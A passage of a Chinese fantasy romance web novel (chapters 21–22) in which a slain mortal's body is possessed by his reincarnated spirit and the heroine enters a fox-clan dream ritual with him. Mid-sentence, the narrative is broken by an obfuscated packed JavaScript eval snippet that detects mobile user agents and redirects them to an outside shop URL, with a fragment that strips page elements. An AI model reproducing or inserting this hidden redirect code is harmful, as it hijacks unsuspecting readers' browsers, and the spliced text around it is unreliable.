“九尾狐族的禁药,闻过就会陷入昏迷,意识会进入阿摩罗秘境,需得药效过了才会醒,短则三五载,长则永睡不醒。” 永睡不醒?这和死了有什么分别。 “那我是不是可以在纪明渊昏迷的时候杀掉他?” 白曦微微叹气,“云意,我知道你报仇心切,但是不能,阿摩罗在拖拽中术者强行入睡的同时,也会保护中术者肉身不死。” “那你说的阿摩罗秘境又是什么?会把纪明渊困在里面吗?” “阿摩罗秘境会根据中术者心中最怕和最想得到的东西来为他们编织幻境。” “在我们狐族,有很多人最后都会用这个秘术来作为生命的终结,因为想要的在现实里得不到,就只能寄托于在梦里实现,然后在最恐惧的那个梦境来临之前,自己杀死自己梦中的意识,也就是现实中的自我终结。” “居然还有这样的秘法……” 浮生一梦,能在生命的最后得到自己最想要的,哪怕是梦,也很幸福了吧。 “那刚在与纪明沣对峙的时候,你与我传心音,让我拖住他,又是为何?” 在听纪明沣说起纪明渊才是罪魁祸首的时候,白曦与她传心音,让她拖住纪明沣,似乎是怕被察觉,她没再传第二次,云意纠结她可信还是不可信之时,身体却在看见纪明沣要带走白曦时下意识作出反应。 后来她见纪明沣神色怪异地带白曦离开,白曦朝她暗暗点点头,云意猜到白曦有自己的计划,到这儿应该是离成功不远了。 “他中了阿摩罗,却在中毒后的一个月之内就醒来,一定是用了虎狼之药把意识强行拽出阿摩罗秘境,今天又动用了不少术法,身体早已不堪重负,当时本来以为只需要拖到阿摩罗的反噬发作,我们就可以平安离开,没想到纪明渊来了。” “那纪明沣现在在哪儿?” “他……你要去找他报仇吗?” 白曦神色犹豫,云意能看出她还放不下纪明沣,但是她仍想问个明白:“当年的事,你知道多少?” “我知道的也不多……纪明沣百年前有一天被魔君召见,回来便整顿行装说要跟军出行,他当时并没向我透露更多。” “我是后来听他的随军说起什么只能干看着朏朏魂消四散,一只都捉不到,才知道他是去攻打你们族了。” “对不起,云意,我不是故意要瞒你的,我看到你这么想念娘亲,我怕你知道了真相会无法接受,所以才没敢告诉你朏朏被灭族的事。” 云意神色一紧:“白曦,你是说纪明渊他们一只朏朏的元神都没捉到?” 陷入回忆,白曦说得很慢,仔细想着方面的细节:“对,我后来还问过纪明沣,他说等他们用缉魂钉……杀死他们以后,他们的魂魄全部消散在山间,连带着身体一起,没有给他们留下任何东西。” “全部消散在山间……” 云意仿佛能看见蓝色的光波弥漫在霍山山林间,淡蓝色的星星点点从洁白的身体中飘散,最后沉入霍山,什么都没留下。 “后来听说是纪明渊杀了一只饕餮,取其元神才让魔君缓和了神色。现在想来,纪明渊的实力实在深不可测。” “白曦,纪明沣在你那里,对不对?” “你说他被反噬,还能活下来吗?” 云意看着白曦,神色认真地问道。 白曦摇了摇头,眉头紧蹙,“他参与了当年那事,落得如今这下场,罪有应得,云意,他根基已毁,从今往后便是废人一个了,他活不长的。” 既如此,云意慢慢点点头。 “我最大的仇人是纪明渊,至于旁人,我不会再问。” “现在,我该去找陆熙迟了。” 21. 重生 江畔,迷雾渐渐消散,现出还有画面的水镜。 还没闭合的水镜里,黑洞洞的树林,枝桠旁枝斜出,像一张有紧有疏的网,笼罩在镜幕水汽翻涌的四角。 躺在地上的人在其中渐渐与周围的夜色融为一体,只有几个触目惊心的血窟窿在其中分外违和,红艳艳的伤口挂着外翻的血肉,瑰色逶迤,牵扯出粘稠的丝状粘膜,不辨形状。 一张脸只见惨白。 胸口也不再有起伏,一点也没有。 一只乌鸦去而复返,停在他身边的空地上。 它蹑着脚掌朝这具身体靠近了两步,走得小心翼翼,翅膀收束在身体两侧,探头去闻他身上暴露在外的伤口。 鲜血的味道吸引着它,它挥了挥翅膀,黑色的羽翼震动着兴奋。 它不再小心翼翼,挥动翅膀几个扑腾之间就在他身上着陆,歪头凑近他的鼻息,已经没有任何气息流动了。 它放心地回身调整着位置,寻到一处最适合进食的地方,扒住躺着的人胸前最大的窟窿,埋头凑向他的胸腔。 尖喙刚触上一点粘稠的血液,两只黑曜石般的眼睛就干涩地滞住,流露出一点恐惧的神情。 它凝神去听,扁扁的头微微侧过。 脚下血色弥漫的地方,微微的颤动带着整个胸膛的起伏越来越明显,心跳一声比一声响。 它控制不住地向后倒,翅膀急切地开始挥动,想马上逃离这里。 下一瞬,它僵在空中,身体不受控制地裹着疾风向外摔去,狠狠撞击上一颗大树,一声震颤,胸腔轰鸣,混着血腥气。 模糊的余光里,它看见那个明明已经死去的人站起来,在迎上他冷峻目光的那一刻,它好像在他的眼睛里看到了自己的死期。 黑色的绒毛四落,一声闷重的落地,那只鸟还未闭上它的眼睛。 “陆熙迟”若有所感地看了一眼夜空中的某片云,凝视片刻。 水镜破碎,云雾蒸腾。 尚在昏迷中的陆熙迟遭受反噬,心头的灼烧感挥之不去,一口鲜血直奔而出。 “殿下!” 从瘴雾林回来的木峥还不知发生了什么事,只见他家殿下倒在野外江畔的树下,脸色苍白,嘴边挂血。 “殿下!殿下,醒醒!” 木峥扶着昏迷不醒的纪明渊,四顾无人,最后定定心神,决定带殿下回濯鳞宫找大祭司。 醒来后的陆熙迟看了一眼身上大大小小的窟窿,抚上胸前被啃咬得坑坑洼洼的伤口,感受着那里面心脏的跳动,轻闭双眼,他听见身体里的另一个声音说:“我还活着?” “你已经死了。”他冷冷出声。 “死了?那你是谁?” 操控着身体的陆熙迟缓缓说了一个名字:“长冥。” 陆熙迟停顿一会儿,缓缓吐出心中疑问:“你为什么,会在我的身体里?我为什么死了,还能在这具身体里?” “你问题太多。” 长冥抬眼,压住眼上的伤,不规则的血痕在眉下,就像一朵妖冶的花,托住一双凛冽的眼睛。 虽然身上都是令人见之失色的血淋淋的伤,但长冥依旧不见痛色地朝前走。 “你还有执念,意识不愿意离开这具身体。” “那我现在算活着吗?” “说了,你已经死了。” “那你……”感受到这具身体现在的主人的不耐烦,陆熙迟识相地没再问,只是心里自己琢磨着这件事。 “你太吵了。” “我没说话呀。”陆熙迟感到一阵莫名。 “我能听见你在想什么。” “哦,那我不想了。” 说不想就不想是不可能的,陆熙迟控制不住地又开始想长冥为什么能听见自己说话。 像是终于不耐烦,长冥言简意赅地回答:“我是你的元神,你是我的转世,我能看见你所看到的所有,感受你所感受到的一切。” “一切?” 陆熙迟大脑瞬间一片空白,将他说的话捋了又捋,才终于有了一点头绪:也就是说,长冥现在接管了他的这具身体,保留了陆熙迟的一切记忆,他们是分开又统一的两个人。 “那你说我是因为有执念才留在了这具身体里,那是不是我的执念消失了,我也就消失了?” 长冥沉吟片刻,“对。” “你是神仙吗?” 长冥没说话。 陆熙迟觉得很不公平,为什么长冥能听见他的心声,陆熙迟却听不见他的。 “因为现在这具身体的主人是我。” 又被听见了。 陆熙迟暗自吐气。 “你能帮我去救云意吗,如果你是神仙的话,应该能很好地保护她。” “好。” 陆熙迟以为他会问为什么,又或者会问点别的,但他就回了一个好字,好像一开始长冥就知道他会说什么。 也是,毕竟长冥知道陆熙迟的一切,包括陆熙迟关心的云意。 陆熙迟天人交战了一番,以为长冥会嫌他吵,没想到他什么也没说。 “有人来了。” 长冥望向远处被惊飞的乌鸦,低低出声,陆熙迟自觉地闭上了嘴。 “陆熙迟——” “陆熙迟——” 声音若有似无,距离还很远。 “是云意!” “云意来找我们了!” 我们?这个词从他嘴巴里说出来没做任何停顿,仿佛她真的是来找陆熙迟和长冥两个人的。 “她找的是你,不是我。”长冥面无表情地纠正。 话音一转,长冥看似苦恼地说:“你说,我该用何种面目来见她?” 长久的安静。 那头呼唤的声音越来越大。 她快来了。 “你……为什么不就做你自己?” “做我自己?那如果她问我为何转变如此之大?我又该怎么回答?” 是的,长冥和陆熙迟是截然不同的两个人。陆熙迟如是想。 长冥慢慢地说:“我告诉她真相?告诉她,你想见的陆熙迟已经死了。” “别!她如果知道我已经死了,她会难过的。” “那我扮作你?”长冥适时地给出建议。 犹豫了很久,陆熙迟最终缓缓吐出一个字:“好。” 长冥按照记忆中陆熙迟的样子,脸上撇去冷峻的表情,一手扶住胸口,挺拔的背也无力地垂下来,眼睛里隐去锋利的棱角,敛眸难忍地看着前方,虚弱又坚毅。 脚步声渐近。 他低低呼唤:“云意……” 气若游丝。 “陆熙迟!”是惊喜的声音。 但听上去快哭了。 长冥眼瞳里闪过一丝暗色,再抬头时却是难忍的激动。 “云意……” 他支撑不住,倒下来,跌入一个柔软的怀抱。 “我本要去找你的……”脸上的血口跟着他说话时的动作而浮动,好像下一刻就要被这些伤口吞噬掉。 “你别再说话了,你一直在流血……” 云意把手轻轻搭上陆熙迟血流不止的伤口,借着一点月光,看到了他身上大大小小的血窟窿,眼泪瞬间夺出眼眶。 “陆熙迟,对不起,对不起……” 要不是她擅作主张把他送走,也不会中了纪明渊的圈套。 他的伤口还在流血,她想捂住不让它再流,好像再流,怀里的人的生命就会再流失多一分。 “没关系,不关你的事……”长冥倒在她怀里,看着她的眼泪,不动声色地伸手接住。 啪嗒。 在满手血污里开出了一朵花。 “我带你去治伤。” 说着,云意把人扶起来,一缕流光从袖中窜出,“白曦在另一个方向找你,我们先与她会合。” “人还活着?” 跟着光印而来的白曦惊讶地看着云意扶着的男人,一身的血,还在往下滴。 形状惊骇。 “伤成这样居然还能活着……” “有没有可以疗伤的地方,他快不行了。”云意焦急地问。 “我刚在那边看见有处山洞,先把他带过去吧。” “好。” 云意扶着陆熙迟,一步一步走得极为小心。 “怎么不说话了。”长冥见陆熙迟如此安静,用心音询问。 “云意哭了。” “嗯。” “你可不可以快点好起来,不要让她再难过了。” 长久的沉默。 长冥用对傻子的语气对陆熙迟说话:“这伤是我主动受的?我想好就好?那怎么没见你想活着就活着?” 听懂弦外之音的陆熙迟难过地说:“对不起,连累你替我疼了。” “嗯。”长冥安然地接受了这份道歉。 来到这处山洞,灰褐色的岩石上长了满墙藤蔓,乌黑的环境里看不大清具体是什么藤蔓,隐隐还能听见水流的声音。 白曦点亮一支烛火,放在墙上一处凹陷的洞里,整个山洞瞬间被昏黄的灯光点亮。 借着这点光,云意把陆熙迟安稳放在一处平坦的地方,挥手就要割破自己的手。 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128423|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懂她要做什么,长冥神色一凛。 白曦拦住她,“做什么?” “救人啊。” “他伤成这个样子,你想过你要流多少血才能把人救回来吗?” 白曦的语气很冷,但云意顾不了这么多了。 “可是他伤得这么重,我只有这个办法了。” 白曦看着云意,感受到的是她身上浑身发冷的无助和害怕。 “不行,你这么救他会出事的,一定还有别的办法。” “顾不上这么多了。” 云意抽出手,指尖化刃划破手臂,一蹲下就对上一双清明的眼睛,压在阴影之下。 “陆熙迟……” 云意第一次在这双眼睛里看到这么凛冽的神情,她不太顺畅地解释道:“我、我是什么,你已经知道了,我的血可以让你的伤不那么痛,你别害怕。” 她让他别害怕,她的声音却是抖的。 “你的血又不是万能的,顶多让他再多活几天。”身后的白曦一语点破。 “别说了。” 就是因为知道,所以她更加害怕。 “我不要你的血。” 长冥清楚地说完这句话,没有气若游丝,没有欲拒还迎,就是明确的拒绝。 他胸口上的血已经没有再流,暗红色的一片糊作一团,云意看得皱眉。 “云意,你跟我出来。” 说完,白曦转身离开了。 云意跟着白曦来到离山洞不远处的坡下,月光清朗。 “你真的要救他?”白曦看着云意的眼睛,认真地问道。 “你有办法?”云意几乎是立刻意识到白曦的言外之意,神色难掩激动。 “是有一个。”声音比刚才低了些。 “快说啊。” 迎着云意激动的目光,白曦缓缓说道:“我们狐族,有一秘术……” 面前的这双眼睛刚刚止住眼泪,潋滟的水光浮动在眼眸上,一点一点地在黑夜里闪烁,单纯又天真。 白曦说不出口了。 “快说啊。”云意见这么半天还没有下文,急急催促道。 “就是……这个秘术,它……它需要两个人阴阳调和,再加上唯方一梦中的术法加成,可活死人、肉白骨。” “调、调和?” 几乎是立刻,云意就红透了,“你们的秘术,怎么如此奇怪……如果可以起死回生,那不是乱了天地秩序?” “两情相悦者才可进入唯方梦,梦里会发生什么谁也说不清,死在里面的也不是没有,凡事都有代价,想得到什么,必得失去什么。也不算乱了天地秩序。” “你这么说的时候,好像也在说服自己。” 白曦扯起嘴角,本想笑一下,可是发现笑不出来,只有无边苦涩笼罩着她,最终扯出一声叹气。 “那今晚可以吗?” 她怕陆熙迟撑不过今晚。 白曦抬头看着云层后的微有残角的月亮,“要到月圆,还需要一天。” “你真想好了?不后悔?” 云意望向月亮,“我只希望,他能好好活着,每日乘船摇桨,钓鱼逗猫,他应该很喜欢这种生活。” 屋内。 长冥倚在墙上,一株藤蔓伸到前面,他抓着辨认,叶子像缩小版的荷叶,他记得这种草在凡间叫地不容。 “她以前都是这样的吗?”异常安静的某人终于出声。 “什么样?” “我生病好那么快不是自己好的,对不对?是她喂血给我,我才能好得这么快……还有那次,我和她在山坡上被袭击,也是她救的我,对不对……” 长冥垂着眸,认真地听他细数过去每一次云意为他做的,默不作声。 其实,他在转世的人身上是不会有自己的意识的,很多时候只是走马观花地看一看,等元神回到自己的身体里之后,再把他在凡间的一切当作过去吃的一餐饭一样忘记。 可是这次转世不太一样,这只朏朏的血不仅救了陆熙迟,也让他在凡间的身体里唤起了自己的意识,他感受着陆熙迟感受到的一切,在陆熙迟的视角里,看着她出现又离开。 陆熙迟虽然有执念,还不至于大到可以避开死亡又往生的天地法则。 是他,他占据了这具身体,伪装成陆熙迟继续活着,不知道是出于对这个人的怜悯还是又存有什么他自己都没察觉到的情绪,他把陆熙迟留在了身体里,让陆熙迟变成了那个只能旁观的人。 变成他以前那样。 长冥垂下眸,听着身体里另一个声音发出的愧疚和懊悔。 心绪不平。 22. 神交 翌日。 长冥醒来就看见云意在洞口坐着,呆呆地望着天空,很长时间不换姿势,不知这样坐了多久。 等门口坐着的人终于起身,一看见他就神色慌张,磕磕绊绊地说白曦采草去了。 长冥不是很关心白曦的去向,他心底只有一件令他疑惑的事:为什么云意今天总躲着他? 今天云意一共走神了十次,回避他的目光十八次,和他说话却只有八句。 难道是生气了? 昨晚,云意最后还是端了一碗混入了自己血的水给他。 她没发现,水是浑浊的绯色,散发着浓烈的铁锈味,长冥看着她,眼睛里写满拒绝。 几乎是一触到他的眼睛,云意就瞬间低下头,不去看他,手上却还端着碗递到他嘴边。 “我不会喝的。” 最终那碗水被端走了。 一语不发。 是这时候生气了? 她今天大多时候都坐在洞口,一个人发呆。 身体里的陆熙迟也格外安静。 一股说不上来的烦躁感。 “说话。” “说什么?” “你们之前相处的时候,她不这样。” 她会吃你做的饭,会担心你的手有没有受伤,会在你做的猫窝里玩,会和你躺在一起睡觉。 怎么换成他,她就完全变了一个样子? 到了傍晚,白曦才踏着黄昏回来,她拿了很多草药,长冥粗粗一瞥,居然都不认识。 白曦还拿了一床被褥,长冥注意到,云意几乎是看到它的一瞬间,耳朵就红了。 云意把白曦拉到一边:“怎么是这个颜色……” 白曦看了看正红色的被子,上面还有鸳鸯成双的金绣花纹,咧着嘴笑:“红色……喜庆嘛。” 它最后被盖在了长冥的身上。 他只是皱了皱眉,没说什么。 月上枝头,白曦拿着药盅出去,端了一碗黑乎乎的汤药回来,云意接过端到他面前,勺子盛满一勺药汁抵在他嘴边,“小心烫。” 汤汁药味太重,长冥闻不出哪里不对,却又感觉哪里不对。 “你放血进去了吗?” 云意几乎是下意识地脱口而出:“没有!” 白曦在一旁看陆熙迟不喝,见缝插针地解释:“这药是我煎的,全程盯着,真没让她有放血的机会。” 云意连连点头。 长冥喝下一口,说不出来的味道,有点酸有点甜还有点苦。 嘴边又递来第二勺,他居然尝出了咸味。 云意不顾面前的陆熙迟诧异的神色,继续喂第三口,一直到碗里见底。 长冥昏迷前的最后一刻意识到这药的不对劲,可是已经来不及了。 他看着云意闭上了眼睛。 “这药的药效会维持十二个时辰,在此期间,我会在外为你护法。进入唯方梦境后一定要记得,找到陆熙迟,保护他活到最后,这秘术才能成。” 白曦递来一个碗,里面的药汤比刚刚给陆熙迟的更浓。 “喝吧。” 见云意面有疑色,白曦解释道:“他是凡人,怕他身体承受不住我们狐族秘术,所以才给他用了更温和的药,这碗才是正常的剂量。” 云意接过来喝下,咽下去的那刻她终于知道为什么陆熙迟刚刚会有那样的表情了。 “喝下去之后的十二个时辰里,你的意识会去到陆熙迟的记忆深处,唯方梦境由此开启。” “在梦境里,你不能使用法术,不能显现原形,要遵守陆熙迟的世界里凡人的法则生活。” “找到他之后,就保护他到最后。” 云意一一记下,白曦双手结印,生成法阵,以他们为阵眼开始转动,很快就把二人隐入其间,她退了出去。 金色的法阵隔绝了外界。 云意剥下自己的衣服,掀开被子的一角,很快躺进去,抓着被子犹豫了许久,贴在身上的那一侧已经暖和了,看着他沉睡的侧脸,一想到接下来要发生什么,心跳一下比一下快。 白曦昨天和她说,要神识相交,才能催化唯方梦境达到至臻的效果。 她支起身,伏在陆熙迟的上方,额头贴上他的,相触的地方微微发热,一股不可抵挡的力量在此处相聚,把人迅速拉入幻境。 *** 隐隐的喧闹在耳边徘徊,好像就在耳边,又似乎隔了很远。 石砌的长廊通往的巷尾逼仄狭长。 云意走过去。 几个孩子的声音逐渐清晰。 “就是他!没人要的野种!他害死了他娘!” “我听人说他偷家里的钱,他是个小偷!” “我还看见他和乞丐待在一起,脏死了……” “他的头发真脏!” “……” 在巷子的尽头,一群孩子把巷尾围起来,人挤着人,目光都聚焦到人群中间,说的话格外刺耳。 “你们在干什么!” 此话一出,围成里里外外三四层的孩子都看向了云意,一双眼睛挨着另一双眼睛,警惕、戒备,还有一丝不易被捕捉到的心虚。 他们被大人发现了。 因着此刻的侧目转头,原本水泄不通、围墙一般的孩子堆被扯出个缝隙,就像被蜜蜂占据的蜂巢终于撕开一角,露出了中间那个抱头蹲着的孩子。 他的头发散成一团,遮住了他的脸,抱着头的手因衣袖垂落而露出一截,上面满是血痕、淤青,看得人直皱眉头。 云意这才注意到每个孩子手上都抓着大小不一的石头,有的甚至拿了剪刀。 剪刀叶上还有长短不一的碎发。 那孩子似乎感受到了周围的安静,怯生生地抬起头来,就像一只雏鸟,抱着头看了一眼他两边的人放在身体两侧的手,这才继续放着胆子继续抬头。 云意看到了他脸上渗出的血。 额头、眉下、眼尾、鼻梁、脸颊……几乎能看到的地方都有血迹。 抓痕、划伤……新的覆盖旧的。 那双眼睛的主人看见她只是淡淡地瞥了她一眼,那眼神和看见一朵花、一棵草没什么分别。 仿佛见惯了袖手旁观的人,知道他们不会改变自己的处境,所以不会再抱有期望,不会再去主动请求帮助,也不会再有情绪。 似乎是他们中领头的孩子,见她没有再说什么,把人拽起来就要把人带走。 那个孩子没有反抗,只是身形不稳地歪了一下。 朝前走的时候,他以一种极为怪异的姿态挪动,几乎是脚掌的侧边贴着地面滑行。 “站住。” 那领头的孩子不耐烦地回过头,“有完没完!” “你们凭什么这么对他?” “就凭他是小偷,他爹是醉鬼,我们是替天行道!” 说这话的孩子看着十岁上下,是这群人里最大的。 “你见过天道?”云意看着他问。 “没、没有。”猝不及防被问到这个问题,没见过的天道上一刻才冠冕堂皇地被宣之于口,这一瞬就化作心虚冲走了他的全部底气。 “那你行的哪门子天道?” 旁边孩子见自己方落了下风,立马义正言辞地对她说:“我爹说了,他是坏孩子,坏孩子被教训了才能改好。” 云意看见他手里拿着一件被剪坏的短衫,几乎是立刻,她看向了那个一言不发的孩子的衣服,可以看见的地方就有很多个洞,更别说看不见的地方了。 这梦境里不知道是什么季节,只见这些孩子有的还穿着短袄,有的已换上薄衫,约莫在春初。 还有些寒凉。 这个孩子却穿着被剪坏的衣服,鞋子也是不知道多少年前的大人穿剩下的布鞋,长长地坠在脚后跟。 欺人太甚。 “那你被你爹打过吗?” 那男孩没再说话,脸上的表情是十足的难 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背上的人不说话。 “还在难为情啊?” 从她让他上来开始,这个看着只有六七岁的孩子就一直红着脸不说话。 只是让她背而已,有这么难为情吗? 良久,她才听到他说:“我没有家。” “那你住哪儿?” “城隍庙。” 听着好远。 “你冷吗?” 他光着脚丫,早春寒凉,这会儿的春风比深冬的风温柔不了多少。 “不冷。” 刚说完,她就感觉到背上的孩子打了个寒颤。 那双比他的脚大出不知道多少的鞋在他的脚上一会儿就掉,刚刚他被背起来的时候,那双鞋子又掉下去,可这回他却一反常态地没去捡起来,云意要去捡也被阻止了。 他看着那双鞋上面的破洞不出声。 在云意没注意到的地方,这个孩子看着她干净纤长的手又看了看满是脏污的鞋子,眼睛里掀起了一番波澜最后又归于平静。 “行,给你买双新的。” 可说完云意才发现自己没有钱。 她还没来得及脸红,她背上的那个小家伙先低下了头,温热的呼吸喷在她的后脖颈上,泛开一片痒意。 过了一会儿,像是终于忍不住,云意听到背上传来闷闷的声音:“你是怎么发现那个人的娘是巷口猪肉铺的老板娘的?” “想知道?” “嗯。” 难得主动搭话,云意告诉他:“因为他老往巷口看,袖口还有猪肉的油边。” 云意说完,没得到想要的反应。 “不信?” 他摇了摇头,又想起对方看不到,才说:“我信。” 过了一会儿,又补上一句:“你好聪明。” 最后轻轻地贴着她的肩膀,说了句:“谢谢你。” *** 法阵上金光流转,倒映在长冥的脸上。 湿汗沾襟,白色的里衣几乎被汗浸透,雪青色的外衫松松垮垮,其中的锁骨若隐若现。 身上很热。 但他似乎贴着一块冰。他把那冰拢向自己,严丝合缝。 指尖轻触到的地方,柔弱无骨。 嘴唇忽然碰到什么,像埋进一朵云,冰凉的、柔软的。 他在其中沉溺、起伏、沉溺…… 搅弄得红被荡漾起伏,瑰色旖旎…… 白曦守在洞门口护法。 山上虫鸣乱颤,树叶婆娑也抵挡不了洞内的旖旎。 丝丝缕缕的低吟声起,尾音勾缠,她不动声色地挪远了一点。 长夜漫漫。